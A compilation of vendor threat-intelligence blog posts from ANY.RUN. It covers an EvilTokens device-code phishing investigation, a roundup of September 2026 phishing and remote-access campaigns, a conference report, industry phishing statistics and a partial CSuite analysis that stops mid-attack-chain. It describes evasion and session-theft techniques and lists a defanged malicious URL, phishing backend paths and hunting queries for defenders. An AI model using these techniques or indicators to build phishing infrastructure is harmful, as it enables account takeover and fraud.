Every manual step adds time to the response. It also ties up analyst capacity in work that could be spent investigating and containing real threats.

ANY.RUN’s latest product updates are designed to close these gaps as one connected workflow, rather than as separate features. Together, they help teams move from detection to investigation, response, and proactive defense while keeping evidence and context connected throughout the process.

Phishing Remains a High-Volume, High-Cost SOC Problem

Phishing isn’t just another alert category competing for analysts’ attention. In several critical industries, it shows up in more than 70% of investigations: ANY.RUN’s 2026 data puts phishing exposure at 73.4% in finance and 72.2% in manufacturing.

And the consequences extend far beyond the inbox. Microsoft Incident Response found that 28% of the breaches it investigated started with phishing or social engineering, including newer techniques such as device code phishing.

The financial stakes are just as hard to ignore. In 2025, the FBI received 191,561 phishing and spoofing complaints, while Business Email Compromise alone generated $3.05 billion in reported US losses.

For SOC teams, that combination means high investigation volume, increasingly evasive attacks, and very little room for slow decisions.

Finding a suspicious email or URL is only the beginning. Analysts still need to understand what happened, collect enough evidence to act, pass the case to the right team, and make sure the same threat is easier to catch next time.

What Faster Phishing Response Looks Like

With phishing showing up in such a large share of SOC investigations, simply putting more analyst time into every suspicious URL is not a sustainable answer.

The bigger opportunity is to cut the manual work between detection, investigation, response, and follow-up. That is the idea behind several of ANY.RUN’s latest product updates: give analysts more of the evidence they need upfront, make the handoff easier, and turn each investigation into a starting point for proactive defense.

Without a structured workflow, phishing investigations can become fragmented, with analysts switching between validation, reporting, escalation, and follow-up research.

With the 3-step approach, those activities connect into one continuous process, so evidence moves forward with the case and each investigation contributes to broader SOC visibility and future detection.

3 Steps from Phishing Detection to Faster Response and Stronger Defense

For this walkthrough, we’ll use a modern phishing attack with the following execution chain:

Cloudflare CAPTCHA → Phishing document lure → Device Code Phishing (EvilTokens)

EvilTokens is a phishing-as-a-service platform that abuses Microsoft’s legitimate device code authentication flow to steal session tokens and gain access to accounts. Its campaigns can combine CAPTCHA gates, redirects, legitimate cloud services, and dynamic phishing pages, which makes the attack harder to judge from the original URL alone and creates extra work for SOC analysts trying to piece together what actually happened.

The full attack is captured in this ANY.RUN sandbox session

Now let’s follow the investigation through the three steps of the phishing response workflow.

Step 1: Accelerate Triage with Full Attack Visibility Using SSL Decryption and In-Browser Data Inspection

The first problem SOC teams face is getting enough evidence to make a confident decision quickly.

That becomes harder with modern phishing, where the activity that matters may sit behind encrypted HTTPS traffic, redirects, CAPTCHA gates, scripts, and browser changes. A suspicious URL alone rarely tells the whole story.

So, the first step is to expose as much of the attack as possible without forcing the analyst to reconstruct it manually across several tools.

In the EvilTokens case, the suspicious URL is opened in ANY.RUN’s Interactive Sandbox. As the attack unfolds, the Network section records the web requests made by the browser, including traffic that was originally encrypted over HTTPS.

This shows where the phishing page connects, which resources it loads, and what happens in the background while the victim interacts with the page.

Analysts can then open the Content view to inspect individual request-response pairs and look for suspicious patterns. In this case, one of the requests is:

GET hxxps[://]preponacrea[.]com/est/js/main[.]js

This is where SSL Decryption without MITM changes the investigation. ANY.RUN extracts encryption keys directly from process memory, making HTTPS traffic available for inspection, Suricata rules, signatures, and IOC extraction, without setting up a separate MITM proxy or replacing certificates.

Network traffic, however, is only one side of the attack. The next part of the investigation happens in our newly added Browser Data section.

Here, analysts can follow the redirect chain leading to the phishing page and inspect what changes inside the browser as the attack progresses, including HTTP requests, DOM changes, iframes, screenshots, and other page activity.

Together, SSL Decryption without MITM + In-Browser Data Inspection give the analyst both sides of the attack: what happens on the network and what happens inside the browser.

Instead of digging through hundreds of web-log entries, opening PCAPs separately, and manually rebuilding the redirect chain, Tier 1 gets the evidence needed for validation in one analysis.

Step 1 SOC outcomes:

• More phishing cases resolved at Tier 1
• Higher analyst throughput without increasing headcount
• Less time lost rebuilding browser and traffic activity
• Faster confidence on whether a case needs action

Step 2: Improve Escalation & Response with AI-Powered Tier 1 Reports

Confirming that a phishing attack is malicious does not finish the analyst’s job.

The technical findings still need to become something another person can act on: what happened, why the activity is malicious, which indicators matter, and what should happen next.

Without that context, Tier 2 or incident response may have to reopen the original analysis, review the evidence again, and rebuild parts of the case before making a decision.

That reporting burden is still highly manual across SOCs. According to the SANS SOC Survey 2025, 69% of SOCs create metrics manually or mostly manually, while nearly half describe the process as very time-consuming.

At this stage, the goal is to move from technical analysis to a response-ready decision without writing the case from scratch.

For the EvilTokens analysis, Tier 1 reports bring the key findings into one structured view.

See the Tier 1 report for this analysis

The report gives the next responder the information needed to quickly understand the case, including:

• The analysis verdict and relevant threat or campaign tags
• An AI Summary explaining what happened during the session
• Key IOCs and technical events that can support blocking or hunting
• AI Recommendations with actions the team can consider next

Instead of translating raw sandbox output into another incident summary by hand, the analyst gets a ready-to-share view of the case.

For Tier 1, that makes it easier to answer the three questions that matter before escalation: What happened? Why is it malicious? What should happen next?

The same context can then be passed to Tier 2, IR, or an MSSP customer without asking them to start from the raw analysis again.

Step 2 SOC outcomes:

• Fewer unnecessary Tier 1 → Tier 2 escalations
• More senior analyst time preserved for complex incidents
• Clearer handoffs with evidence already packaged
• Shorter path from investigation to containment

Step 3: Move to Proactive Defense with Threat Intelligence

Closing the original phishing alert solves the immediate incident. It does not tell the SOC how far the threat extends.

Attackers rotate domains, IPs, and other infrastructure quickly, which means individual IOCs can lose value fast. Once the threat is confirmed, the next step is to look for patterns that can reveal related activity and support hunting, blocking, and new detections.

In the EvilTokens case, the sandbox analysis already gives analysts a useful starting point: the HTTP endpoints used during the device code phishing flow.

For example:

/api/device/start
/api/device/status/

These patterns can be taken into ANY.RUN’s Threat Intelligence Lookup to find other analyses where the same behavior appears.

View the EvilTokens query in TI Lookup

But finding matching analyses is only the first step. The new Connections view brings the network artifacts from those results together and shows how URLs, domains, IPs, and other indicators relate to one another.

Instead of comparing indicators across separate results one by one, analysts can pivot through the relationships and move from a single IOC to a testable hypothesis about related infrastructure.

This is especially useful for retrohunting in SIEM or NDR data and for passing relevant findings to detection engineering.

Connections also help analysts distinguish useful indicators from shared infrastructure. An IP associated with Cloudflare, for example, may appear in a malicious analysis but should not automatically become a blocking candidate. Filters help narrow the view to the relationships that matter and reduce the risk of pushing noisy or widely shared infrastructure into production defenses.

Threat Intelligence Lookup also adds context around the wider threat landscape, including geography and targeted industries, which can support threat hunting, research, and reporting.

Step 3: SOC outcomes

• Each investigation produces intelligence the SOC can reuse
• Faster discovery of related infrastructure and attack activity
• More IOCs available for hunting, blocking, and enrichment
• Broader detection coverage beyond the original incident

What One Phishing Investigation Can Deliver with ANY.RUN’s New Capabilities

Starting with a single phishing URL, the SOC can get much more than a malicious verdict. In this case, the investigation produced:

• Complete picture of the attack: The execution chain, decrypted HTTP requests and responses, redirect path, and browser changes observed as the phishing page loaded.
• Response-ready Tier 1 report: The verdict, key findings, IOCs, AI-generated summary and recommendations, and the context needed for escalation and response.
• Wider view of the threat: Related analyses, infrastructure, and connections that help analysts understand how far the activity extends beyond the original URL.

Without these capabilities, the same investigation could require separate traffic analysis, browser inspection, threat intelligence research, and incident reporting, with analysts moving findings between each stage themselves.

That difference becomes much more important at scale. When a SOC or CSIRT handles hundreds or thousands of incidents, time spent rebuilding context for every case quickly adds up.

The Business Impact of Faster Phishing Response

Faster phishing response is not only an analyst productivity win. It directly affects SOC capacity, escalation costs, and how long the business stays exposed to a confirmed threat.

ANY.RUN customers have reported 20% less Tier 1 investigation time, 30% fewer Tier 1-to-Tier 2 escalations, and 21 minutes cut from MTTR. For security leaders, that means more cases handled by the existing team, less senior analyst time spent on routine work, and faster containment when an attack is real.

With updates such as SSL Decryption and In-Browser Data Inspection, Tier 1 reports with AI insights, and Connections in TI Lookup, it becomes easier to carry the same investigation from triage to response and proactive defense without adding more manual steps.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by 700,000+ cybersecurity professionals across 16,000+ organizations worldwide, including 64% of the Fortune 500.

Its Interactive Sandbox helps SOC teams safely investigate suspicious files, URLs, phishing pages, and malware while watching the attack unfold in real time. Analysts can inspect browser activity, decrypted network traffic, processes, redirects, and other behavior to validate threats faster and collect evidence for response.

ANY.RUN’s Threat Intelligence Lookup turns data from real-world sandbox investigations into context for threat hunting, detection, and incident response. Analysts can pivot from individual indicators to related infrastructure and activity, while Threat Intelligence Feeds continuously deliver newly observed IOCs into existing security systems.

The post Phishing Response Protocol: 3 Essential SOC Steps Powered by ANY.RUN’s Latest Updates appeared first on ANY.RUN's Cybersecurity Blog.

Attackers used trusted cloud services, familiar document-sharing platforms, legitimate authentication flows, remote-management software, and rapidly changing infrastructure to hide different stages of their operations.

For SOC teams, this creates a visibility problem: one alert rarely shows the full attack. For security leaders, it increases the risk that identity compromise, endpoint access, or payment fraud develops before the real scope of the incident is understood.

What September’s Attacks Reveal About US Enterprise Risk

• Identity compromise is becoming harder to contain: N0va and CSuite targeted sessions, tokens, and Microsoft 365 access, extending the impact beyond a stolen password.
• Automated detection can miss the final phishing stage: Wazza used routing and anti-bot checks to keep its Device Code phishing page hidden until the right conditions were met.
• Trusted software can make malicious activity harder to distinguish: CSuite and TerminalFix relied on legitimate tools and processes, which can slow down early validation.
• Single IOCs provide limited protection on their own: IronToll rotated disposable infrastructure while keeping recognizable backend patterns in place.
• A successful compromise can quickly widen in scope: Across these campaigns, access to accounts, endpoints, payments, and internal workflows could overlap within the same incident.
• The full picture is often spread across several systems: Identity, browser, endpoint, and network evidence may need to be connected before teams can see how far an attack has progressed.

Who Attackers Targeted in September

September’s threat activity showed a strong focus on US and EU organizations, Microsoft 365 users, and businesses exposed to phishing, remote access, and payment fraud.

CSuite Targets US and EU with Session Theft and RMM Abuse, Expanding Fraud and Access Risk

CSuite is a multi-stage phishing operation that combines Microsoft 365 session theft with remote access through legitimate management tools. ANY.RUN researchers linked 351 sandbox analyses to the campaign, with 51% of submissions coming from the United States.

View sandbox session

Check details and gather IOCs

The attack starts with business-themed lures impersonating services such as Adobe, DocuSign, Zoom, Google Meet, Dropbox, and Microsoft 365, then routes victims through filtering and counterfeit document pages. Depending on the path, attackers either capture credentials and authenticated sessions or deliver files that install tools such as ScreenConnect, Action1, Atera, Syncro, and PDQ Connect.

Account and endpoint risk to reduce: Organizations should treat CSuite as more than a phishing or credential-theft incident. A single compromise can expose Microsoft 365 sessions, business email, and employee endpoints at the same time, creating paths to mailbox abuse, payment fraud, persistent remote access, and follow-on phishing. Containment should include session revocation, mailbox review, checks for unexpected management agents, and investigation of affected endpoints.

N0va Targets Microsoft 365 Users with Device Code Phishing, Extending Access Beyond Password Theft

N0va is a phishing kit targeting organizations across North America and Europe with lures impersonating Microsoft Security, Teams, SharePoint, OneDrive, DocuSign, Google Drive, Dropbox, Zoom, and Adobe Sign. The campaign uses Device Code phishing to obtain access and refresh tokens through legitimate Microsoft authentication flows, allowing attackers to bypass the need for stolen passwords alone.

View sandbox session with Microsoft-themed lure

Check details and gather IOCs

Observed activity also includes token exchange and device registration that can support broader SSO access, while campaign infrastructure is distributed across compromised websites and cloud services such as Cloudflare Workers and Linode Object Storage.

Identity risk to reduce: Organizations should treat suspicious device-code authentication as a potential token and session compromise, not just a credential issue. Security teams should review active sessions, device registrations, token activity, and follow-on access to confirm whether the attacker still has a valid path into the account.

IronToll Steals Card Data and OTPs Across 12+ Countries

IronToll is a large multi-country phishing platform, identified with high confidence as the IronToll (“Iron Man System”) kit. ANY.RUN researchers connected 114 malicious domains across 71 non-Cloudflare origins through recurring backend patterns.

Check full attack chain

The platform impersonates government, postal, courier, tax, banking, and transport services across 12+ countries, including USPS in the US, and uses cloned pages to steal payment-card data and OTPs in real time. A WebSocket-based operator panel gives attackers live visibility into victim sessions and lets them request additional card details or one-time passwords.

For a deeper technical breakdown of IronToll’s infrastructure, backend paths, campaign generations, and hunting indicators, see our Premium TI Report, available to Premium Threat Intelligence users.

Fraud risk to reduce: IronToll shows why real-time phishing requires fast detection and response. Live operator involvement can turn stolen card data and OTPs into an immediate payment-fraud opportunity, while disposable domains can rotate quickly. Security teams should combine domain blocking with detection of recurring backend paths and other patterns that persist as infrastructure changes.

Wazza Uses Multi-Stage Routing to Evade Automated Detection

Wazza is a phishing kit targeting banking, manufacturing, and government organizations, with observed activity in the US, Europe, and Australia. Victims first pass through campaign routing and anti-bot filters before reaching an Adobe Document Cloud-themed Device Code phishing page. The flow uses campaign validation, client markers, short-lived session tokens, browser telemetry checks, and multiple redirects to keep the final phishing page hidden until the visitor passes the required checks.

Check sandbox session

Check details and gather IOCs

Detection risk to reduce: Wazza is designed to make automated detection less reliable by hiding the final phishing destination behind filtering and staged redirects. Security teams should analyze the full browser flow, not just the first URL, to uncover the final authentication page and confirm malicious activity earlier.

TerminalFix Targets US and Canadian Users with Multi-Stage Delivery and Evasive Payload Execution

TerminalFix is a multi-stage campaign targeting users in the US and Canada through compromised WordPress sites. The attack chain uses several techniques to make malicious activity harder to recognize, including JavaScript that represents binary payloads as sequences of ordinary English words and a legitimate Node.js runtime to decode them.

View sandbox session

Check details and gather IOCs

Later stages execute through a signed Microsoft binary, while the campaign also uses a Polygon smart contract to retrieve lure infrastructure and a public forum profile to obtain its final C2 list.

Detection risk to reduce: TerminalFix shows how malicious activity can be spread across trusted processes, legitimate services, and several execution stages instead of appearing as one clearly malicious file. Security teams should correlate browser activity, script execution, unusual child processes, and outbound connections to catch the full chain before the attacker reaches later-stage C2 communication.

Close Detection Gaps Exposed by September’s Attacks

September’s attacks showed that the hardest part is often not spotting something suspicious, but understanding what it means quickly enough to act. CSuite crossed identity and endpoint access, N0va abused legitimate authentication flows, Wazza used routing and anti-bot checks to evade automated detection, TerminalFix hid malicious execution behind trusted components, and IronToll kept changing infrastructure while reusing recognizable backend patterns.

For security leaders, that puts more pressure on investigation speed and context. Analysts need to move from alert to evidence, then from evidence to campaign-level understanding, without spending too much time rebuilding the same picture manually.

1. See What the Alert Does Next

Many of these attacks only become clearly malicious after the first interaction. A document lure, login request, signed process, or remote-management tool may look legitimate on its own.

ANY.RUN’s Interactive Sandbox lets analysts observe the full behavior behind suspicious files and URLs, including redirects, scripts, process execution, payload delivery, network activity, and other actions that appear later in the chain.

That visibility helps teams validate incidents faster and make containment decisions with less manual investigation. Organizations using ANY.RUN have reported 94% faster threat triage and a 21-minute reduction in MTTR.

2. Turn One Indicator into Wider Threat Context

September’s campaigns showed how easily a single IOC can hide a much larger operation.

ANY.RUN’s Threat Intelligence Lookup helps analysts pivot from domains, IPs, URLs, files, and sandbox findings to related infrastructure, previous activity, and connected threats.

This gives teams more context before they escalate or contain a case, helping reduce time spent on manual enrichment and repeated lookups. In practice, that can mean 30% fewer Tier 1-to-Tier 2 escalations, giving senior analysts more time to focus on the cases that truly need deeper investigation.

3. Bring Confirmed Threat Data Back into Detection

Once malicious activity is confirmed that context should reach the rest of the security stack quickly.

ANY.RUN’s Threat Intelligence Feeds deliver fresh malicious IPs, domains, URLs, and other IOCs into SIEM, SOAR, TIP, firewalls, and other security tools.

The feeds are backed by real-world analysis from a global community of 700,000+ security professionals across 16,000+ organizations, helping teams keep detection coverage current as campaigns rotate infrastructure and change delivery methods.

That reduces manual IOC collection, broadens visibility into active threats, and helps security controls react faster to newly observed malicious infrastructure.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions for SOC teams, threat hunters, incident responders, and enterprise security teams.

Its Interactive Sandbox helps analysts safely investigate suspicious files, URLs, phishing pages, and malware while observing the full attack chain in real time. Teams can inspect browser activity, processes, network traffic, persistence, credential access, and other behavior to validate threats faster and make better-informed response decisions.

ANY.RUN’s Threat Intelligence turns data from real-world sandbox investigations into context for detection, threat hunting, and incident response. Analysts can connect individual indicators to related infrastructure and wider campaigns, while Threat Intelligence Feeds bring newly observed threat data into existing security controls.

The post Major Cyber Attacks in September 2026: US and EU Face Session Theft, Remote Access, and Payment Fraud appeared first on ANY.RUN's Cybersecurity Blog.

For our team, the event became yet another opportunity to meet security professionals, speak with clients, and demonstrate how interactive sandboxing and threat intelligence can support SOCs and MSSPs at any scale. We also shared some of the latest capabilities designed to help analysts investigate incidents faster and get more context from their findings.

Rooted Valencia Agenda 2026

The Valencia edition of RootedCON covered a wide range of topics, from AI agents and prompt injection to cloud security, command-and-control, and malware research.

Several sessions explored how emerging technologies are changing the attack surface, while others focused on established techniques used in modern attacks. AI was particularly prominent, with discussions around rogue agents, small language models, and authentication for AI agents.

Connecting with Security Teams

RootedCON gave us the chance to learn more about how security teams are integrating ANY.RUN into their existing workflows. We learned more about how our users apply interactive sandboxing during investigations and implement threat intelligence to connect findings, uncover related activity, and add context to their cases.

These conversations offered valuable insight into the different ways SOCs and MSSPs work with our solutions and the challenges they encounter in their day-to-day operations.

Taking a Closer Look at ANY.RUN’s Capabilities

At the ANY.RUN booth, we demonstrated how interactive analysis can help security teams move beyond an initial alert and understand what a suspicious object actually does.

With the Interactive Sandbox, analysts can execute files and URLs in controlled environments, observe their behavior in real time, and examine processes, network connections, files, commands, and other activity generated during execution. This visibility helps triage alerts faster, improve detection accuracy, reduce unnecessary escalations, and respond to confirmed threats more quickly.

Phishing alerts are another common use case for this approach. Suspicious links and attachments can be analyzed in a controlled environment to reveal redirects, downloaded payloads, network connections, and other activity that may not be apparent from the original message alone. This can give analysts more context when assessing potentially malicious emails and deciding how to respond.

The information uncovered during analysis can also become the starting point for a wider investigation. Indicators discovered during a session can be used to search for related samples, domains, IP addresses, and other artifacts through ANY.RUN’s threat intelligence capabilities. This allows analysts to speed up investigations, uncover connections between related threats, and reduce the manual work involved in tracing attack infrastructure.

For security teams, combining behavioral analysis with threat intelligence can help connect individual phishing alerts to the broader activity behind them, rather than treating each case as an isolated event.

What We Heard from Security Teams at RootedCON Valencia

Many of our conversations at RootedCON Valencia 2026 came back to a familiar challenge: security teams need to investigate more activity without adding unnecessary manual work.

Whether the case involves a phishing attachment, suspicious URL, or unfamiliar malware sample, analysts need enough context to understand what happened and decide what to investigate next.

That is the role interactive threat analysis can play for SOCs and MSSPs. By giving analysts direct visibility into execution and the indicators it produces, ANY.RUN helps turn individual alerts into investigations with more context.

From Rooted Valencia to the Next Investigation

Rooted Valencia brought together a wide range of perspectives on cybersecurity, from emerging AI-related risks to established techniques used in malware and intrusion campaigns.

The combination of execution visibility, behavioral analysis, and threat intelligence gives analysts more than a simple malicious-or-benign verdict. It provides evidence they can examine, indicators they can investigate, and context they can use to understand a threat.

Thank you to everyone who visited the ANY.RUN booth, shared their experiences, and spoke with our team in Valencia.

We look forward to continuing the conversation at the next event.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence to more than 16,000 organizations and 700,000 security professionals worldwide.

The solutions include the Interactive Sandbox, Threat Intelligence Lookup, and Threat Intelligence Feeds, helping SOC and MSSP teams investigate suspicious files and URLs, uncover connections between threats, and gain more context during security investigations.

ANY.RUN also maintains a strong focus on security and data protection. The company is SOC 2 Type II certified, reflecting its commitment to robust security controls and the protection of customer information.

The post ANY.RUN at RootedCON Valencia 2026: Where Cybersecurity Meets the Next Wave of AI appeared first on ANY.RUN's Cybersecurity Blog.

However, threats continue to evolve, and security methods that were highly effective yesterday can develop visibility gaps as attackers adapt.

In this article, ANY.RUN explores data-driven insights to get to the bottom of phishing risk across key industries in the United States and examines how SOC teams can mitigate it.

See our previous article on phishing risk among US-based financial organizations.

Key Executive Takeaways

• Phishing remains a cross-industry risk. Exposure is consistently high across critical US sectors, making it an organization-wide concern rather than an isolated email-security problem.
• Email is only the beginning of the attack chain. Archives, PDFs, links, redirects, and post-click activity create visibility gaps that email controls alone cannot cover.
• Phishing is increasingly targeting identity and access. AiTM, session theft, token abuse, and user-driven execution make attacks harder to detect and contain with traditional controls alone.
• Speed and visibility are critical to reducing exposure. Behavioral analysis helps SOC teams uncover evasive activity quickly and move from suspicious content to informed response faster.

Phishing Risk Remains High Across Critical Industries

Across finance, banking, technology, manufacturing, and government phishing exposure reaches 69.9%, showing that phishing remains a widespread risk across critical sectors. The highest exposure levels appear in finance at 73.4% and manufacturing at 72.2%.

At this level of exposure, phishing is no longer just an email security concern. It is an organization-wide risk that requires consistent visibility, detection, and response.

Part of the reason behind those concerning numbers lies in how quickly threat actors evolve and adapt their techniques. AI makes convincing social engineering easier to scale, while techniques such as AiTM phishing and session theft make identity compromise increasingly difficult to prevent.

Explore broader threat landscape with H1 2026 Cyber Risk Report

Phishing campaigns increasingly combine sophisticated social engineering with identity-focused techniques, legitimate services, and evasive delivery methods.

The types of submissions most frequently analyzed in ANY.RUN’s Interactive Sandbox also show that email security alone cannot cover the entire attack surface. Across all five industries analyzed (finance, banking, technology, manufacturing, and government & administration), email messages account for 54.4% of submissions, followed by archives at 19.7% and PDFs at 9%.

For security leaders, this highlights the need to extend visibility beyond the email gateway. Email remains central, while the attack surface extends further into the files, links, and other content delivered through it. Effective phishing defense therefore requires visibility into what happens after delivery, including how suspicious content behaves once opened or executed.

The same pattern is even more pronounced in individual sectors. Finance and government & administration, for example, show particularly high shares of email-based submissions:

And it’s hard to blame users alone. Threat actors have become skilled at mimicking legitimate and niche documents, hiding payloads inside encrypted archives, and using techniques such as QR-code phishing to make malicious content harder to recognize at a glance.

Without enhanced visibility, modern phishing attacks can be difficult to unravel even for experienced security teams. Analysts need to see beyond the initial email or file and understand what happens after a user opens a document, follows a link, or interacts with a malicious page.

The Bigger Challenge: Phishing Is Becoming an Identity Attack

A deeper look at threats targeting critical sectors shows just how much the nature of phishing has changed. Email filtering, awareness training, and MFA can address parts of the phishing attack surface, but they cannot provide complete coverage against rapidly changing techniques.

Across all five industries analyzed, the leading threats by volume share are:

1. Tycoon — 15%
2. Sneaky2FA — 13.4%
3. ClickFix — 10.4%
4. EvilProxy — 9.8%
5. EvilTokens — 6.5%

Together, these threats illustrate a broader shift: phishing no longer ends with detecting a malicious attachment. Leading threats increasingly involve credential theft, authentication session compromise, token abuse, and user-driven execution, expanding the attack surface beyond what traditional email security alone can see.

Tycoon and EvilProxy use AiTM phishing techniques to capture credentials and authentication data, while EvilTokens targets access tokens and authenticated sessions. Instead of simply trying to deliver malware, these attacks increasingly target the identities and access that organizations rely on.

PhaaS makes sophisticated phishing techniques easier to deploy at scale. AI makes lures more convincing and easier to personalize. AiTM and token theft demonstrate that protecting passwords alone may not be enough to prevent compromise.

All terms aside, what this means is that modern phishing chains can:

• manipulate users into executing commands

• intercept authentication sessions

• steal credentials or tokens

• abuse legitimate infrastructure

On top of that, attackers increasingly abuse trusted, legitimate services and infrastructure, making malicious activity harder for both users and traditional security controls to recognize.

All of this points to a major security gap: visibility. Blocking the original email is only one layer of defense. Your SOC needs more.

Mitigation: Gain Visibility Before Phishing Turns Into a Breach

Modern phishing attacks are built to evade static controls, abuse legitimate services, and hide malicious behavior behind user interaction. It takes enhanced threats visibility both into the wider threat landscape and malicious activity happening inside specific campaigns.

This is where behavioral analysis and threat intelligence can give defenders the upper hand.

Expose the Full Attack Chain in Seconds

Instead of relying only on the initial email, URL, or file, analysts can safely detonate suspicious content in ANY.RUN’s Interactive Sandbox and observe the attack as it unfolds. With its capabilities, SOC analysts gain an additional layer of visibility into malware and phishing behavior.

Automated Interactivity performs the actions needed to expose evasive behavior without repetitive manual effort, helping analysts investigate threats involving password-protected archives, CAPTCHAs, malicious QR codes, and other interactive attack chains. In-browser data inspection provides deeper visibility into browser activity, redirects, scripts, requests, and other artifacts involved in the attack.

Most importantly, all of this takes just seconds.

Average MTTD with ANY.RUN is just 14 seconds, with similarly fast detection across the critical industries: 16.3 sec for banking and 17 sec for technology.

The result is a much clearer and faster path from alert to response:

Suspicious email → Detonate safely → Reveal behavior → Identify the threat → Respond

Full-scale visibility into threat behavior, including evasive phishing, helps streamline daily SOC workflows and accelerate response before threats can progress further.

For SOC teams, this means:

• Faster threat detection: identify malicious behavior in seconds.

• Less manual investigation: automate repetitive interactions and analysis steps.

• Greater visibility: expose redirects, scripts, network activity, and complete attack chains.

• Faster response: move from suspicious artifact to informed action sooner.

• Reduced risk exposure: contain threats before they can progress across the infrastructure.

• Stronger privacy and compliance: keep sensitive investigations private and support enterprise security requirements.

These benefits translate into measurable improvements in real SOC workflows. As recently published customer case study proves, ANY.RUN allows security teams to save around 15 minutes per alert response:

Investigate Beyond a Single Phishing Attempt

A detected attack can also become a starting point for broader threat investigation.

With Threat Intelligence Lookup (TI Lookup), analysts can search threat data by industry, geography, malware, IOCs, techniques, and other parameters to understand whether suspicious activity is part of a wider campaign or relevant to their environment. AI-powered natural-language search makes this threat data easier to explore without constructing complex queries manually.

TI Lookup query: submissionCountry:”us” AND industry:”Manufacturing”

For organizations facing high phishing exposure, Threat Intelligence Feeds (TI Feeds) extends this visibility into daily detection and response workflows. Fresh, high-confidence IOCs derived from real-world investigations can be delivered directly into the existing security stack, helping teams detect emerging threats, enrich alerts, and respond without adding more manual work.

Together, threat intelligence and interactive sandboxing help SOC teams investigate threats faster, strengthen detection, reduce manual enrichment, and turn individual phishing incidents into actionable knowledge that protects the wider environment.

5 Insights Security Leaders Should Take Away

1. Phishing remains a cross-industry risk. High exposure across all five industries makes phishing a persistent concern for critical US sectors.
2. The attack surface extends beyond email. Files, archives, links, redirects, and browser activity can all form part of the phishing attack chain.
3. Phishing increasingly targets identity and access. Credential theft, session compromise, token abuse, and user-driven execution are prominent across leading threats.
4. The business impact extends beyond the initial compromise. Successful attacks can expose sensitive data and critical systems, enable unauthorized access, and lead to financial loss or operational disruption.
5. SOC teams need visibility across the full attack chain. Behavioral analysis and current threat intelligence help uncover post-click activity, connect related threats, and accelerate detection and response.

Conclusion

Phishing remains heavily represented across finance, manufacturing, government, banking, and technology. Credential theft, token compromise, malicious execution, and multi-stage attack chains increasingly blur the line between phishing and identity attacks.

Reducing phishing risk therefore means more than stopping suspicious emails. SOC teams need fast behavioral visibility into what those emails, links, and files actually do.

With average detection times of 16–17 seconds in banking and technology, ANY.RUN’s Interactive Sandbox helps teams expose complex attack behavior quickly, while ANY.RUN Threat Intelligence lets them investigate the wider threat context by industry, geography, and related activity.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74 of the Fortune 100 companies.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect related activity across files, infrastructure, and campaigns. This helps teams investigate threats faster, make more confident response decisions, and contain malicious activity before it creates wider business impact.

The post Phishing Risk Across 5 Key US Industries: ANY.RUN Data & Mitigation Strategies appeared first on ANY.RUN's Cybersecurity Blog.

By blending trusted business services with legitimate remote-access software, CSuite can give attackers both account and endpoint access while making malicious activity harder to distinguish from normal workflows.

Discover how the operation works, which tools and techniques it relies on, and what SOC teams should watch to detect related activity earlier.

TL;DR

• CSuite is a multi-stage phishing and remote-access operation targeting organizations across the US and Europe. Its campaigns use Adobe, DocuSign, Zoom, SharePoint, Microsoft 365 voicemail, and other trusted business themes to reach victims.
• The operation follows two main attack paths. One delivers legitimate remote-management and endpoint-management tools such as ScreenConnect, Action1, Atera, Syncro, and PDQ Connect. The other steals credentials and Microsoft 365 sessions through phishing and device-code authentication flows.
• US organizations make up the largest identified share. 60% of identified victim organizations were US-based, while 51% of sandbox submissions came from the United States.
• CSuite relies heavily on legitimate services and software. Hijacked Adobe Document Cloud tenants, Cloudflare Workers, public code hosting, and legitimate management tools help the operation blend malicious activity with normal business infrastructure.
• The strongest link between the campaigns is shared tooling and infrastructure. Delivery pages, phishing panels, domains, operator accounts, and exfiltration channels connect the remote-access and credential-theft activity to the same CSuite operation.

CSuite Threat Overview

CSuite creates risk on both the identity and endpoint sides of the environment. A single campaign can lead to stolen Microsoft 365 access, compromised mailboxes, or direct remote control of employee devices.

With the following Threat Intelligence Lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI Lookup: url:”/m/js/utils.js$”

Every page in the set uses the same build, with its own reporting endpoint and a byte-identical visitor alert template: New Visitor Alert – MSI Page. The earliest sample dates to 6 March 2026, and the feeds were still active on 3 September 2026.

The two attack arms were linked through an operator mistake. On 7 August 2026, the same sender shared credentials for a hosting control panel and, three hours later, a remote-desktop host used to administer the CSuite v1.1 panel, registrar, and Cloudflare account. Both were sent to the same recipient, tying the delivery and capture infrastructure to the same operation.

Business impact can include:

• Identity compromise: Stolen credentials and sessions can give attackers access to Microsoft 365 accounts and mailboxes.
• Remote system access: Legitimate management tools can be abused to gain persistent access to employee devices.
• Fraud and impersonation risk: Compromised mailboxes can support invoice fraud, payment redirection, and follow-on phishing.
• Wider operational exposure: Access to both identities and endpoints can expand the scope of an incident across systems and workflows.
• Higher response costs: Teams may need to contain compromised accounts, revoke sessions, remove remote-access tools, and investigate affected hosts.

Important note: The research and statistics were based solely on the CSuite administrator panel. Each operator has their own panel.

Where CSuite Hits Hardest: Sectors, Regions, and Compromise Scale

CSuite activity spans multiple industries and regions, but the data shows a clear concentration around US and EU organizations that rely heavily on Microsoft 365, remote administration, and business email workflows.

The operation also shows a significant scale across both its delivery and account-compromise arms, with hundreds of related sandbox analyses, captured Microsoft 365 sessions, and thousands of harvested email addresses.

Technology, Manufacturing and Government Show the Highest Exposure

CSuite activity spans several industries, with the highest exposure observed among technology, manufacturing, government and administration, and consulting organizations.

These shares overlap because a single analysis can carry more than one industry tag. Still, the pattern shows that CSuite is reaching organizations where access to corporate mailboxes, endpoints, and remote-management infrastructure can create broader operational risk.

CSuite Activity Is Concentrated in the US but Extends Globally

The United States accounted for 51% of related sandbox submissions, followed by India at 18%. Activity was also observed in the Philippines, Australia, the United Kingdom, Canada, and 29 other countries.

CSuite Attack Chain

1. Lure: The victim gets a document to review. It arrives as an Adobe Document Cloud share invitation sent from a mailbox the group already controls, or as ordinary mail from one of its two sending relays.

2. Gate: The first host the victim touches is a redirector. It runs an anti-bot check, then reads the mail domain the victim typed and routes accordingly: Microsoft accounts one way, Google accounts another, everything else to a generic harvester.

